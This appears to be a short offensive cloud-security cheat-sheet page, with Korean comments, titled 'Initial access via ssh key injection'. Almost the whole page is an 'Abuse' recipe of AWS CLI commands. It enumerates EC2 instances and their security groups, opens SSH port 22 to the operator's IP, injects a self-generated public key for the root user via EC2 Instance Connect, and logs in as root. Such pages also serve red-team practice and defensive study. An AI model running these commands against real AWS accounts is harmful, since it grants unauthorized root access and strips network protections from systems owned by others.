Initial access via ssh key injection
Abuse
# ssh key 생성
ssh-keygen -t ed25519
# aws ec2 인스턴스 목록 열거
aws ec2 describe-instances --query 'Reservations[].Instances[].{ID:InstanceId,State:State.Name,PublicIP:PublicIpAddress,PrivateIP:PrivateIpAddress}' --output table
# 인스턴스 시스템에 ssh key 인젝션
aws ec2-instance-connect send-ssh-public-key --instance-id '<instance-id>' --instance-os-user 'root' --ssh-public-key file://'<ssh-key>'
# ssh 키를 이용하여 시스템 접속
ssh root@'<instance-ip>' -i '<ssh-key>'# aws ec2 인스턴스 목록 및 보안그룹 열거
aws ec2 describe-instances --query 'Reservations[].Instances[].{ID:InstanceId,State:State.Name,PublicIP:PublicIpAddress,SGs:SecurityGroups[].GroupId}' --output table
# 인스턴스의 보안그룹에 ssh 포트 개방
aws ec2 authorize-security-group-ingress --group-id '<sg-id>' --protocol tcp --port 22 --cidr '<your-ip>'
# ssh key 생성
ssh-keygen -t ed25519
# 인스턴스 시스템에 ssh key 인젝션
aws ec2-instance-connect send-ssh-public-key --instance-id '<instance-id>' --instance-os-user 'root' --ssh-public-key file://'<ssh-key>'
# ssh 키를 이용하여 시스템 접속
ssh root@'<instance-ip>' -i '<ssh-key>'References
Last updated